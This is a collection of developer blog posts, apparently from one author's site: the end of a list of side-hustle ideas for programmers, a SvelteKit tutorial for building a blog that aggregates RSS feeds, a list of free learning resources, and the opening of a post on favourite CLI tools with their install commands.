WordPress with MemberPress Plugin - A plugin for WP users to create membership sites.
Wild Apricot - Membership management software that integrates with your website.
Kajabi - Offers tools for creating online courses, membership sites, and more, with a focus on marketing.
Mighty Networks - Build a community with memberships, subscriptions, and courses.

24. Guest Posts

There's also many companies which will pay you for quality posts shared to their platform. This both increases your visibility (helping you grow your network, and gain future work), as well as bringing in some short-term income.

If you're struggling to get accepted into any of these programs, start by writing your own posts and publishing them to popular dev-based social networks (like here on DEV.to!). This will build up your writing skills, and help you demonstrate your knowledge to potential companies.

For example, the following sites will pay for quality guest posts:

Dmytro Spilka compiled a great list of 300+ sites accepting guest posts. Another great list was put together here by Julia here on Dev.to.

25. Consulting

You may not realize it, but the skills and experience you've built up from your day job can be hugely valuable to many companies. Especially startups and small businesses who cannot yet afford a full-time expert. There's very high demand for professionals who can provide insights into the latest trends, tools, and best practices.

Tips:

The best way to get started at a decent rate, is through networking and word of mouth. But failing that there's always freelancing websites to help you build up experience.
Keep a log of the experience you've gained, or build up a portfolio as you go, as this will help you get better gigs in the future.
Be clear about your availability, terms, day-rate and the scope of work before getting started with any project.
Never dismiss a potential contact. You'll be surprised who might re-connect with you even years down the line asking for consulting support.

26. Mentoring

Whatever your level, you're experience as a developer can really help others who are less experienced. Mentoring is a really rewarding way to help others while also bringing in some extra money.

MentorCruise - Primarily long-term, with monthly rate paid, great for building up professional relationships (earn $50-$500/month per mentee)
CodeMentor - Better for short-term, charged hourly-rate, great for tackling specific problems (earn $60-$300/hour)

27. Tutoring

With CompSci now being part of the national curriculum (at least in the UK and much or Eurpoe), there's an influx of students (from 11-18+) looking for tutors to help them gain coding skills and prepare for exams. Income can range from $15 to $150+ per hour, depending on level, experience and background.

Super Prof - List your services, world-wide ($30-300/hour)
The Profs - Verified tutors (income unknown)
My Tutor - UK only, (£22-£55/hour)
Tutor.com - US-based high-school tuition ($75-$100/hour)

28. Social Media

There's a big gap in the market waiting to be filled by genuinely good development-focused influencers on mainstream social media platforms.

Many social media platforms allow you to monetize content, where you'll usually be paid per view, with the amount varying depending on content category, region and reputation. But do note that you'll usually have to have a certain number of followers to be eligible, and you'll also be at the mercy "the algorithm".

YouTube - Requires min of 1k subs + 4k watch hours/year
X - Requires Twitter Blue subscription, no min following
TikTok - Requires min of 10k followers + 100k views/month
Instagram - Requires min of 10k followers
Snap - 1k followers, 1k views/month, 10+ monthly posts
Facebook - 10k followers or 600k video view minutes
Twitch - 350 monthly paid subscribers

29. Brand Deals

Following on from the social media section above, once you've managed to break through past a few hundred subscribers, you'll likely also be able to start looking into brand deals, which can help bring in extra income. Again, these require a certain proven level of engagement from your audience, and you may also need to agree to the terms of the company offering the sponsorship.

30. Streaming

A rapidly growing niche is dev streams, don't expect to instantly join the leaderboard, but it could be a great place to get started, especially if you already have streaming experience (e.g. with video games). Nick Taylor wrote a great article on Getting Started with Dev Streaming.

31. SaaS

If you're able to pull this off, it's one of the best revenue models for open source projects. Your code remains 100% free and open source, users are still free to download and self-host it, but you also provide a paid-for / managed plan, where you host the app and take care of all the server management for a small recurring fee.

This model keeps with the open source ethos, while also making your application available to a broader variety of users.

Services like Stripe make accepting payments and adding subscription features to your app surprisingly easy.

32. Micro SaaS

If building a production-ready application from scratch sounds like a daunting task (because it is!), then another approach would be a Micro-SaaS app. These are smaller apps, which do one very specific task, for example:

Automating repetitive and/or tedious tasks.
Performing calculations that are currently calculated manually.
Connecting disparate systems.
Replacing Excel spreadsheet workarounds.
Plugging in gaps of missing functionality in host ecosystems
Enhancing reporting

33. Extensions

Unlike SaaS apps, once an extension is built and published, there's usually very little ongoing management required. You may also find it easier for your project to pick up traction quickly if it's adding features for an already well-established site.

Although web extensions may seem like an out-dated, or fully-saturated market, there's still plenty which can be done, and these are great projects for newer developers.

Here's some ideas to get you started:

WA Web Plus has had 2 million downloads (22k ratings), and it charges $12/month per user. Why not create something similar for the likes of Telegram, Threema, Wire, Messenger, etc?
Runkeeper has 45 million users, but the UI is lacking in terms of how data is displayed. Why not create an extension which adds better reporting, filtering, and combining with related external data? (similar to how Elevate for Strava is, but for RunKeeper)
Pick a website which provides an essential service, but has an overly impractical UI (maybe Microsoft Azure?), and create an extension to make navigating easier, surfacing key metrics, or provide a less ugly user experience
Augment any existing website using AI. This is much easier than it sounds, your extension could make use of services like OpenAI's API to, for example summerize a webpage, or re-phrase selected content (for copy/pasting into homework!?)
If you know of a website with high user count, yet a terrible UI, an easy extension idea could be apply CSS overides to re-style it. For example Amazon, Yahoo, Instagram are all high-traffic sites with huge room for design improvement (dark mode?!)
Even simple stand-alone extension apps could have a lot of potential. Like a pomodoro timer, currency converter, IP address widget, or just a web app shortcut.

34. Publishing an App

Building a simple app or game, and making it available on platform app stores, gives you the ability to target millions of customers, with an easy monetization model. All mainstream app stores - Google Play, Apple App Store, Windows Store, Steam, etc offer support for paid apps, premium features and in-app purchases.

Keep in mind, there is usually a setup fee which needs to be paid before you can publish your first app, the app store will also take a cut of your revenue, and it's not uncommon for small creators to get downloads in the single or double figures.

35. Developing Websites for Small Businesses

Lots of small businesses are focused on working within their business and don’t have the time or expertise to build their website. As developers, this is something we're able to get done quite quickly, and if you're hosting their site too, you'll be able to charge a recurring payment.

Once you've got started in web design and development, and have served a few clients, you'll find it considerably easier to find future work, both through word of mouth and by showcasing your portfolio.

To be successful at this, you'll likely also need skills in design, communication and sales.

36. Domains

With the influx in new TLDs, the domain reseller market is seeing a second wave of popularity. Domain flipping involves registering domain names which could be valuable, then reselling them to a buyer wanting to use that name for a business or project.

Although this can be lucrative, it does involves high risk, and requires a good understanding of the market.

Tips:

Look into short or memorable domains, or those which might have high keyword potential (you can use tools like Use tools like Google Keyword Planner to help with this research)
Park domains which you're not currently using, so you can receive a bit of ad-revenue in the meantime
Look at recently expired domains, specifically those which were in use, as these will likely either receive traffic, or need to be re-registered by the original owner
Consider registering names of popular websites but with a different extension
A domain receiving traffic is much more valuable. So consider building out a website, app or landing page for the domain while you're holding it

37. User Testing

Companies who develop apps often need to get feedback from users. This is where user testing services come in. You spend 10-30 minutes trying out a given website or app, then either give feedback of fill in a survey, and get paid!

Although not specific to developers, with your tech background you'll find that you're uniquely positioned to get these done quickly and offer good feedback, enabling you to earn much faster than the average user. You'll also gain valuable insight into how the user testing process works, which will likely be useful to you when you come to commission testing on your own app.

Try My UI - Averages on $10 per website or app test
Userlytics - Earn between $5 and $50 depending on complexity and length of testing session
User Testing - Pays via PayPal, requires screenshare and/or webcam access during test session. Earn about $10 / test, with longer or live sessions paying up to $50 for some tests
TestingTime - Option for in-person or video call tests. Less regular, but longer testing sessions. Lower paying than alternatives, when you take account for the delay between sessions
IntelliZoom - Earn between $2 and $10 per 10 minute study. Paid via PayPal with a 3-5 day delay

38. Micro Tasking

Less relevant to developers specifically, but if you're coming from a technical background, you'll likely find these gigs more lucrative than those without development skills.

Amazon Mechanical Turk - Crowd sourcing marketplace for outsourcing virtual micro-tasks
Sequence Works - Image annotation, data labeling and clasification
App Jobber - Market research, go to the shops and take photos of specific product placements
GigWalk - App-based micro-tasks on the go
Take a look at GigWorker.com for more micro-tasking and gig-based jobs

39. Surveys

Surveys tend to pay very poorly, although participants with certain skill sets (like software engineering) are in higher demand, so can earn a little more. Even still, this likely won't be a good option unless you have a lot of time on your hands, or use a currency that's much weaker than the USD.

These typically involve either testing out new products or services, and giving feedback - or answering questions to aid in market research campaigns.

There's a lot of different survey-based companies, so I won't link to them all. But Swagbucks, 20Cogs, TestingTime are some prominent ones.

40. Decentralized Nodes

This might not be for everyone, as proceeds are usually paid in crypto which is very volatile. But there are many Web3 projects which you can volunteer to run a node for (usually either on a Rasperry Pi, cloud server or spare laptop), which will pay you for either uptime, bandwidth, diskspace, compute, IP/proxy or some other compute resource.

As developers, managing infrastructure is something we're good at, so if you've got any spare resources lying around, you might be able to put them to work, and earn some extra cash while you sleep.

Storj: Run a Storj node, for decentralized cloud computing
Network3: AIoT layer 2 for training and validating models
Flux: Decentralized infra
Mysterium: P2P VPN node
Koii: Distributed cloud
Helium: Provide wireless connectivity for long-range IoT devices
Filecoin: It is a decentralized storage network that turns cloud storage into an algorithmic market. Users can rent out their spare storage space and earn Filecoin tokens.
Sia Network: This is a decentralized storage platform secured by blockchain technology. Sia stores and encrypts your files across a decentralized network. You earn Siacoins by renting out your unused hard drive space.
Crust Network: Similar to Filecoin and Sia, Crust supports multiple storage layer protocols such as IPFS, and provides storage interfaces for the application layer.
Arweave: A blockchain-based platform that offers data storage in a permanent and decentralized manner. By hosting data, users can earn rewards in the Arweave token.
BitTorrent: This platform tokenizes the world’s largest file-sharing protocol, enabling users to earn BTT for sharing files on the network.
HOLO: A peer-to-peer hosting platform for Holochain apps (hApps). Users who host hApps on their computers are rewarded with HOT tokens.

41. Other Web3 Methods

The crypto sector has many other ways of earning passive income, from PoS staking, holding interest-bearing digital assets, lending, yield farming, cloud mining, dividend-earning tokens, yield farming, trading, local / PoW minding, NFTs to name a few.

I shan't link to any specifics here, as it's a very high-risk industry so it's important you do your own research. But as technologists we're in a good position to be able to understand the fundamental concepts behind any given protocol or Web3 asset, and determine it's viability.

My advice would be to read the white paper, and if you cannot immediately understand it, then stay away from it! It's the wild west out there, and so unless the fundamentals of a project are solid you should be prepared to loose any money you invest into it.

42. Affiliate Marketing

Affiliate marketing is notoriously un-lucrative for those just getting started, but I've included it here because as developers, there is some scope for automating a lot of the process. Also, the more niche of a service you are marketing, the higher the the commission paid usually is. So if you're embedded in a tech community, you may be in a good position to sell low-volume high-return services.

Again, if you've already got a following (social, blog, YouTube channel..) then affiliate marketing might make more sense, as the fractions of a penny you earn from each click are able to add up if you're getting a lot of clicks.

It's worth noting that you should probably not share an affiliate link, without disclosing that it's an affiliate link. And try to avoid advertising products that you have either have not used yourself, or would not recommend to a friend.

As an example, here are some of the services I have used nd have affiliate accounts with. I've never made any meaningful amount from any of them.

43. Reseller

This involves building an application to wrap an existing service, while adding on a USP - either a technological one, customer support, UI, or additional features. If you're from a marketing or sales background, this might be for you. If you want to add on features, or automate the process then there will be a fair amount of up-front work, but you'll then be in a better position to collect revenue.

You can find service providers in most major industries which offer reseller programs.
Some examples include:

Supermetrics: Marketing reporting, analytics, data integration, 20% recurring commission.
Keap: CRM, sales and marketing automation, 20–30% recurring commissions.
Klaviyo: Email and SMS marketing, 5–15% one-time payouts, 10–20% revenue shares.
Drift: Live chat software, 20% revenue share.
ActiveCampaign: Email marketing, CRM, 20–30% commission or discount model.
HubSpot: CRM, inbound marketing, sales, 20% revenue share.
Gorgias: Ecommerce helpdesk, 20% revenue share.
Shopify: E-commerce platform, 20% commission, 10% for Shopify Plus.
LiveChat: Customer service platform, live chat, 20% commission.
GetResponse: Email marketing, online campaign management, 35% discount on sub-accounts, 35% recurring commission.

44. Trials

This doesn't relate to tech at all. But as programmers we're usually able to work from anywhere - so why not code from somewhere you're paid to be at?

You'll usually earn between $2,000 and $10,000 depending on the trial, then length, whether it's residential and specific circumstances.

Places like Flu Camp will pay you £4,000 for a 2-week stay in a comfortable hotel-like suite, while they test new treatments. Those who have a specific condition, like asthma might be able to earn more by participating in a more specialist trial - if you're in the UK you can search on the NIHR Be Part of Research website

45. Freelancing

Freelancing can vary depending on your skills, experience and the niche your operating in. Rates for some areas, like web development tend to be very low for new freelancers, yet the more experience and happy clients you have, the more you'll be able to charge.

Three of the main platforms for developer gig work are:

Fiverr: Known for its diverse marketplace, Fiverr is great for developers who are just starting out in freelancing
Upwork: Upwork caters to a wide range of professionals, but it's particularly beneficial for experienced developers. It offers the potential for long-term contracts and higher-paying jobs. The platform is suitable for those who prefer to work on more substantial projects.
People per Hour: This platform is good for developers in the European market. It emphasizes local business connections and offers a good balance between short-term and long-term projects.

46. Speaking

Both in-person and remove dev meetups and events are happening all the time around the globe. These events need speakers, and many will pay to get good talks. The amount paid varies hugely depending on the size, the audience, the topic, the speaker (you!) and other factors. Usually you'll have to start out by volunteering to do a talk at a small local tech meetup, then gradually work your way up.

47. Remote Tech Support

It's not the most glamorous role, but smaller companies often cannot afford to hire dedicated tech support full-time, therefore there's plenty of part-time gigs that you can pick up. The pay grade for these go up considerably if you've got cloud experience or certifications. Just take a look at any job board (e.g. WeWorkRemotley) and you'll see plenty of roles.

Note that you'll usually need to be available during certain hours, with the expectation that you can reply within a given period of time. Be sure this is something you can work around before applying.

49. Investing

Yes, it's not a side hustle - but hear me out...

If you're earning a modest $60k/year, and have $40k living costs, then after 5 years you could have $100k in savings. If you were to invest that in the S&P 500 which has an average return of 10 - 15%/year - you could be receiving upwards of an extra $1,000 / month in income from your investment, with that rising cumulatively the more you're able to save (of course, investments can go down as well as up). That's already a better return than many of the side hustles listed here!

50. Employment

Let's not forget, that as tough as things may seem at the moment, as developers, with even just a year or 2 of experience, we're in the very fortunate position to be well paid compared to the average earner.

If you're job isn't cutting it - switching companies is usually a sure way to jump up a salary band, and if you're not enjoying your current gig, it could be something worth considering.

Maybe after all of this, it's not a side hustle you're after, but just a better "main hustle"?

Real Speak

Despite what you might see on IndieHackers and Instagram - having a side hustle is not the bee all and end all. It's usually something which takes considerable amount of work, for very limited returns. So before jumping into anything here or elsewhere - take a step back, and think "Why am I doing this?". If you're doing it to build experience, learn new skills and have fun - that's great. If you're doing it to get rich quick - you'll likely be very disappointed.

Something else to note, is that as unfair as it may seem, those who already have a strong following or several successful open source projects will be in a much better position to take advantage of opportunities compared to those who are just starting out.

Therefore, in the short-term your time may be better spent bettering yourself as a developer. If you're not sure where to start with this, here are 5 key tips:

Networks - Build out your networks, go to meetups, hackathons and dev events, join communities, make friends
Open Source - Put your work out there, learn in public, create mini projects which interest you and don't be afraid to fail
Experience - Get hands-on experience, apply for internships, offer your services as a freelance developer
Fundamentals - Ensure you've got a solid understanding of computer science fundamentals, and the rest will be much easier
Have fun! - You'll naturally do so much better in a field that you have a genuine passion for. If you're not enjoying what you're doing, take a step back, and consider if a different approach would work better for you

If you like this kind of stuff, consider following for more :) Thank you for reading, Alicia 🥰

SvelteKit 1.0 - Building a Blog that fetches from RSS 🦄

Alicia's Notes 🚀 — Mon, 20 Feb 2023 22:10:08 +0000

The aim of this post is to provide a whistle-stop tour of the latest version of SvelteKit. We're going to build a developer portfolio and blog website, that fetches data from your RSS feed, as well as the GitHub API.

Contents

Intro to SvelteKit
What we're going to build
Let's get Started!
The Final Project

Intro to SvelteKit

Svelte has pretty quickly taken the top spot for most loved web framework ^{[SO Survey]}, and with the recent release of SvelteKit 1.0, you should expect to see demand for Svelte + SvelteKit developers increase, as more projects adopt it.

SvelteKit to Svelte, is sort of like what Next.js is to React - it handles routing, layouts, server-side rendering, deployment and makes developing quality web apps quicker, easier and much more fun.

But why SvekteKit? ... You'll see! It's just so easy to get a fully-featured dynamic web application up and running, with all the quality metrics which would usually take days, or even weeks to implement in traditional frameworks. Think great performance, simple deployments, easy code structures and a sweet sweet developer experience.

What we're going to build

Most of us have a blog, weather it's here on Dev.to, or on another platform. Today we're going to build and deploy you a personal blog, that aggregates all your posts from other platforms, into a single site.

Since I don't know what blogging platforms you're using, I don't want to rely on individual APIs. But thankfully there's a simple solution to this - RSS! Almost all modern (and old) providers support RSS, and it'll let us easily fetch all your posts from a single URL. (For example, here on DEV: https://dev.to/feed/[your-username]).

Here's a live demo: devolio.netlify.app/blog

And here's the full source: @Lissy93/Devolio

To deploy it yourself - just fork it, update the config with your RSS feed URL(s), and use one of the 1-click deploy options.

Let's get Started!

Step #0 - Prerequisites

You'll need Node.js (LTS or latest) installed. It's also recommended to have Git, a code editor (like VS Code), and access to a terminal. Alternatively, you can use a cloud service, like Codespaces.

Step #1 - Project Setup

We can easily create our project by running:

npm create svelte@latest dev-blog

When prompted, select SvelteKit, then decide weather you'd like TypeScript, ESLint, Prettier, Playwright, Vitest.

Next, we need to navigate into our project (with cd dev-blog), and install dependencies (with npm install).

To launch the app, with live reload enabled, run:

npm run dev

Then open localhost:5173

Step #2 - Finish Setup

To avoid the typical ugly ../../../ in import statements, we're going to add an alias within our svelte.config.js file.

This can be done by just adding alias object under config.sveltekit. Here's an example, where I'll map ./src/ to $src.

import adapter from '@sveltejs/adapter-auto';
import { vitePreprocess } from '@sveltejs/kit/vite';

/** @type {import('@sveltejs/kit').Config} */
const config = {
  preprocess: vitePreprocess(),
  kit: {
    adapter: adapter(),
    alias: {
      '$src/*': 'src/*',
    },
  },
};

export default config;

We can come back to the svelte.config file later, as it's where we put adaptors to deploy to various platforms, like Netlify.

If you'd like to use your own Prettier, ESLint or TypeScript config, you can update .prettierrc, .eslintrc.cjsprett and tsconfig.json respectively. Run npm run format to apply Prettier rules, and npm run check to verify.

Step #3 - Components

Before we proceed, we need to know the basics of components.
One of the reason that Svelte (and SvelteKit) is so easy to work with, is because pretty much everything is just a component. And the structure of components are really, really simple. Here's an example:

<script>
// All JavaScript logic and imports go here
// Append lang="ts" to use TypeScript
</script>

<!-- All markup goes here -->
<p>Example Component</p>

<style>
// All styles go here, and are scoped to the current component
// Append lang="scss" to use SCSS (or another pre-processor)
p {
    color: hotpink;
}
</style>

Here's a real-world example, where we're making a re-usable heading component, with optional level (h1, h2, etc), color, size and font.

<script lang="ts">

// Parameters
export let level: 'h1' | 'h2' | 'h3' | 'h4' | 'h5' | 'h6' = 'h1'; // The semantic heading level
export let color: string | undefined = undefined; // An optional override color (defaults to accent)
export let size: string | undefined = undefined; // An optional override size (default depends on level)
export let font: string | undefined = undefined; // An optional override font (defaults to FiraCode)

// Computed values, for reactivity
$: computedColor = color ? `--headingColor: ${color};` : '';
$: computedSize = size ? `--headingSize: ${size};` : '';
$: computedFont = font ? `--headingFont: ${font};` : '';
$: computedStyles = `${computedColor} ${computedSize} ${computedFont}`;

</script>

<svelte:element this={level} style={computedStyles}>
  <slot></slot>
</svelte:element>


<style lang="scss">
  h1, h2, h3, h4, h5, h6 {
    font-weight: 700;
    transition: all .25s ease-in-out;
    font-family: var(--headingFont);
    color: var(--headingColor);
  }

  h1, h2, h3 { margin: 1rem 0; }
  h4, h5, h6 { margin: 0.5rem 0; }

  h1 { font-size: var(--headingSize, 2.8rem); }
  h2 { font-size: var(--headingSize, 2rem); }
  h3 { font-size: var(--headingSize, 1.75rem); }
  h4 { font-size: var(--headingSize, 1.5rem); }
  h5 { font-size: var(--headingSize, 1.25rem); }
  h6 { font-size: var(--headingSize, 1rem); }
</style>

Couple of things to note:

We are defining props with export let propName
We can make props optional, by giving them a default value
We can access any of these variables within our component, just surround them in braces {}
If we need attributes to be reactive, we use the $: variabeName syntax
We can specify what type of semantic element is used, with <svelte:element this="div">
A method of passing styles from JS into CSS is to define CSS variables, and pass them into the style prop
- (This isn't as bad as it sounds, as all styles are scoped only to the current component!)

Step #4 - Creating a Route

Next we're going to create a blog page, where all our posts will be displayed. (This could be done on the homepage, in src/routes/+page.svelte, but this is a good opportunity to explain routeing)

SvelteKit will automatically create routes based on the directory structure within the routes directory. All you need is a directory named after the route name, containing a Svelte file names +page.svelte. So let's create that route, with: touch src/routes/blog/+page.svelte - the contents of this file will just be a normal Svelte component, like what we saw above.

<script lang="ts">
  let title = 'Blog Page';
</script>

<svelte:head>
  <title>{title}</title> 
</svelte:head>

<h2>{title}</h2>

<style lang="scss">
h2 {
  color: hotpink;
}
</style>

We'll also need a route that can render individual posts, but we want that URL path to be dynamic, maybe based on the posts title. For this we can create a directory called [slug] that the user will land on when they visit example.com/blog/example-post

Step #5 - Special Routes

Now's a good time to mention that we can have our routed inherit certain components that will appear on all pages, like a navbar and footer. For this, we can create a layout file, which needs to be called +layout.svelte, and since we want this on all pages, we'll put it into src/routes.

Populate this with something like:

<script lang="ts">
  import NavBar from '$src/components/NavBar.svelte';
  import Footer from '$src/components/Footer.svelte';
  import { fade } from 'svelte/transition';
  import { page } from '$app/stores';
</script>

<svelte:head>
  <title>{$page.url.pathname.replaceAll('-', ' ')}</title> 
</svelte:head>

<NavBar />

<main in:fade>
  <slot />
</main>

<Footer />

<style lang="scss">
  @import "$src/styles/color-palette.scss";
  @import "$src/styles/media-queries.scss";
  @import "$src/styles/typography.scss";
  @import "$src/styles/dimensions.scss";

  :global(html) {
    scroll-behavior: smooth;
  }
  :global(::selection) {
    background-color: var(--accent);
    color: var(--background);
  }
</style>

A couple of things to note here:

The main site content will be rendered where <slot /> is placed
We're adding a page transition animation, by importing svelte/transition and setting in:fade on the part of the page which will change
We can get information about the current page (like path), by using the page object (imported from $app/stores) - precede it with a $ to keep the value updated
If we need to set any tags within the <head> we can use <svelte:head> to do so
We can also pop any global style, like a reset or import CSS variables
Global styles can be applied using :global(body) (or whatever selector you're targeting) - but use this sparingly!

Another special route within SvelteKit, is +error.svelte, which will be rendered in place of the current route if an error is thrown within the load() function of any route.

Again, let's create that file in src/routes/+error.svelte and populate it with something like this. (Again, we can get info about the current route, including error code from the $page object)

<script>
    import { page } from '$app/stores';

    const emojis = {
        // TODO add the rest!
        404: '🧱',
        420: '🫠',
        500: '💥'
    };
</script>

<h1>{$page.status} {$page.error.message}</h1>
<span style="font-size: 10em">
    {emojis[$page.status] ?? emojis[500]}
</span>

It's also worth noting, that you can create layout and error pages that are specific to certain routes, by nesting them within the correct route directory. If you need several layout pages, which share characteristics, you can extract those elements out into their own component, to make them more reusable.

By now, our routes directory structure should look something like this:

src/routes
├── +error.svelte
├── +layout.svelte
├── +page.svelte
├── about
│  └── +page.svelte
└── blog
   ├── +page.svelte
   ├── +page.ts
   └── [slug]
      ├── +page.svelte
      └── +page.ts

Step #6 - Fetching Data

Now it's time to get into the good stuff! We're going to fetch the list of blog posts, from the users RSS feed.

Now is a good time to mention, that within the path directory for each route, we can also have a +page.js / +page.ts file (alongside the +page.svelte). This is where we'll do our data fetching.

To keep things simple, we're going to use fast-xml-parser to parse the XML response, into JSON.

The following script simply fetches and parses feeds from a given XML RSS feed.

import { XMLParser } from 'fast-xml-parser';

const parseXml = (rawRssData) => {
  const parser = new XMLParser();
  return parser.parse(rawRssData);
};

/** @type {import('./$types').PageLoad} */
export const load = () => {
  const RSS_URL = `https://notes.aliciasykes.com/feed`;
  const posts = fetch(RSS_URL)
    .then((response) => response.text())
    .then((rawXml) => parseXml(rawXml).rss.channel.item);
  return { posts };
};

Step #7 - Render Results

Rendering the results from the returned data is really easy. In the blog/+page.svelte component (next to the +page.ts file), simply include export let data - this will be the result returned by our fetch function. We can now reference this data in the markup.

<script lang="ts">
  /** @type {import('./$types').PageData} */
  export let data;
</script>

Blog

{#each data.posts as post}
  <li>
    <a target="_blank" href={post.link} rel="noreferrer">
      {post.title}
    </a>
  </li>
{/each}

You'll notice we're using {#each data.posts as post} - this is just a for loop, as the data returned is an array.

This is part of Svelte's template syntax. There are other properties also, like {#if expression}...{/if} for conditionals, or {#await expression}...{:then name}...{/await} for promises, as well as a whole host of other useful features.

Step #8 - Server-Side

What we've got so far works great, but there are a few issues we may encounter with it:

Load times - RSS feeds are large, and fetching them client-side on each load isn't efficient
SEO - Dynamically loaded content isn't going to be crawlable by most search engine bots
CORS - Some RSS feeds won't allow client-side requests from cross-origin hosts

Thankfully, there's an easy fix for this. Renaming +page.ts to +page.server.ts will cause it to be rendered server-side, instead of on the users browser. This should fix those issues, and won't require any code changes.

Note that for server-side code, we cannot use any of the browser APIs. Since a lot of our code will be capable of being run both server and client-side, we will need to check certain features are available before attempting to use them. We can do this, by importing browser from $app/environment, then using if (browser) { /* Can access browser API here */ }

Step #9 - Build the Post Page

Finally, when the user clicks on a post, we'd like to render it. This is pretty straitforward, as the RSS response is already in HTML format, so it's just a case of using the @html directive, then styling it.

<main class="article-content">
  {@html content}
</main>

Step #10 - Deploy!

Now, let's get deploys setup. This is another reason why SvelteKit is so awesome, as deploying to pretty much any provider is just so easy!

Install the adapter for your desired provider
- E.g. for Netlify: npm i --save-dev @sveltejs/adapter-netlify
Import said adaptor in your svelte.config.js file
- E.g. import netlifyAdapter from '@sveltejs/adapter-netlify';
Initiate the adaptor, within the config object, under kit
- kit: { adapter: netlifyAdapter() }
Deploy! Now just head to your Netlify dashboard, and import the project

If you wish to run your project on a VPS, we can use the @sveltejs/adapter-node. Repeat the process above, then run yarn build, and start the node server by running node build/index.js.

We may want to use multiple adapters, so that our project is compatible with several different hosting providers. Here's an example of my config file which does just this:

import autoAdapter from '@sveltejs/adapter-auto';
import netlifyAdapter from '@sveltejs/adapter-netlify';
import vercelAdapter from '@sveltejs/adapter-vercel';
import nodeAdapter from '@sveltejs/adapter-node';

import { vitePreprocess } from '@sveltejs/kit/vite';

const multiAdapter = (adapters) => {
  return {
    async adapt(argument) {
      await Promise.all(adapters.map(item =>
        Promise.resolve(item).then(resolved => resolved.adapt(argument))
      ))
    }
  };
};

/** @type {import('@sveltejs/kit').Config} */
const config = {
  preprocess: vitePreprocess(),
  kit: {
    adapter: multiAdapter([autoAdapter(), netlifyAdapter(), vercelAdapter(), nodeAdapter()]),
    alias: {
      '$src/*': 'src/*',
    },
  },
};

export default config;

(don't forget to npm i any adapters before using!)

Finally, let's talk about Docker. As it's a popular deployment method, here's a multi-arch Dockerfile I've written, with a build stage, deploy stage, and some healthchecks.

It's also published to DockerHub (under lissy93/devolio), so you should be able to use it with docker run -p 3000:80 lissy93/devolio - or use the docker-compose.yml as an template for your own container.

The Project

I've had to skip over a few details for the sake of brevity, but all the code is available on GitHub, so that should clear up anything that doesn't yet make sense - if it's still not, feel free to ask below :)

There's a few extra features that I also added:

Extracted all data into a config file, for easy usage, and made it stylable with custom colors and themes
I used a store to keep track of posts (in BlogStore.ts)
Added functionality for loading and combining multiple RSS feeds, as well as sorting and filtering results
Added internationalization functionality (in Language.ts)
I built a page to showcase your projects, with data fetched from your GitHub, via their API
And a contact page, with an email form, social media links and GPG keys
Added more adapters for deploying to various cloud services, and wrote a Dockerfile

Here's some screenshots (with just the plain theme)

Blog Page (fetched from RSS)

Projects Page (fetched from GitHub)

Social Media Links (stats fetched from APIs)

I do plan on expanding the project, add some features and make it into an easily configurable, themeable developer portfolio website, that anyone can easily use. If you'd like to see the updates, drop the repo a star on GitHub :)

And if you'd like to contribute to the source, it's here (MIT) on GitHub, and I'll drop you a mention in the credits if you're able to submit a PR!

Thanks for sticking by this far! I know this post has been quite long, and is a little different from my usual format. If you've got any feedback, questions, suggestions, or comments - drop them below and I'll reply :)

If you like this kind of stuff, consider following for more :)

20 Amazing Collections for Self-Taught Developers 🎓

Alicia's Notes 🚀 — Fri, 27 Jan 2023 17:45:35 +0000

A collection of the best free developer resources, from GitHub and beyond

Developer Curriculum

Developer Roadmaps - Complete roadmaps for developers
FreeCodeCamp Curriculum - Full and free learning curriculum to become a developer

Comp Sci University

Open Source Uni - Collection of everything you need for a Comp Sci degree
CompSci Study Plan - Full study plan for computer science

Learn by Doing

Build your own X - Tutorials to recreate common technologies
Project Tutorials - Tutorials for project-based learning
Web Dev projects - Projects and tutorials to take you from zero to hero
App Ideas - Big list of app ideas you can build to learn
APIs for Projects - Public APIs you can build projects around
Public Data Sets - Public datasets you can build projects around

Algorithms

JavaScript - Common algorithms + data structures, implemented in JS
Python - Common algorithms + data structures, implemented in Python
Java Design Patterns - Common design patterns + data structures, implemented in Java
Cracking LeetCode - Resources for learning algorithms for LeetCode

Content

Free Programming Books - Massive list of free programming books
Papers - Collection of interesting programming research papers
CS Video Courses - Compiled list of free Comp Sci lecture videos
Things - Things every programmer should know
Free Services - List of SaaS websites you can use for free

Misc

System Design Primer - Introduction to system designs
Tech Interview Handbook - Full guide to technical interviews
Awesome - A list of awesome lists (your gateway to endless awesomeness!)

CLI tools you can't live without 🔧

Alicia's Notes 🚀 — Thu, 19 Jan 2023 17:42:01 +0000

As developers, we spend a lot of our time in the terminal. There's a lot of helpful CLI tools, which can make your life in the command line easier, faster and generally more fun.

This post outlines my top 50 must-have CLI tools, which I've come to rely on. If there's anything I'm missing - do let me know in the comments :)

At the end of the article, I've included some scripts to help you automate the installation and updating of these tools on various systems/ distros.

Utils

thefuck - Auto-correct miss-typed commands

thefuck is one of those utilities you won't be able to live without once you've tried it. Whenever you mis-type a command and get an error, just run fuck and it'll auto-correct it. Use up/down to choose a correction, or just run fuck --yeah to just execute the most likely immediately.

Install

```bash # MacOS (via Homebrew) brew install thefuck # Arch Linux sudo pacman -S thefuck # FreeBSD pkg install thefuck ```

zoxide - Easy navigation (better cd)

z lets you jump to any directory without needing to remember or specify its full path. It remembers which directories you've visited, so you can jump around quickly - you don't even need to type the full folder name. It also has an interactive selection option, using fzf so you can live-filter directory results

Install

```bash # MacOS (via Homebrew) brew install zoxide # Arch Linux sudo pacman -S zoxide # Debian / Ubuntu sudo apt install zoxide # FreeBSD pkg install zoxide # Other (via Rust Creates) cargo install zoxide --locked ```

tldr - Community-maintained docs (better `man`)

tldr is a huge collection of community-maintained man pages. Unlike traditional man pages, they're summarized, contain useful usage examples and nicely colourized for easy reading

Install

```bash # MacOS (via Homebrew) brew install tldr # Other (via NPM) npm install -g tldr ```

scc - Count lines of code (better `cloc`)

scc gives you a breakdown of number of lines of code written in each language for a specific directory. It also shows some fun stats, like estimated cost to develop and complexity info. It's incredibly fast, very accurate and has support for a wide range of languages

Install

```bash # MacOS (via Homebrew) brew install scc # Other (via go) go install github.com/boyter/scc/v3@latest ```

exa - Listing Files (better `ls`)

exa is a modern Rust-based replacement for the ls command, for listing files. It can display file-type icons, colors, file/folder info and has several output formats - tree, grid or list

Install

```bash # MacOS (via Homebrew) brew install exa # Arch Linux sudo pacman -S exa # Debian / Ubuntu sudo apt install exa ```

duf - Disk Usage (better `df`)

duf is great for showing info about mounted disks and checking free space. It produces a clear and colorful output, and includes options for sorting and customizing results.

Install

```bash # MacOS (via Homebrew) brew install duf # Arch Linux sudo pacman -S duf # Debian / Ubuntu sudo apt install duf # FreeBSD pkg install duf ```

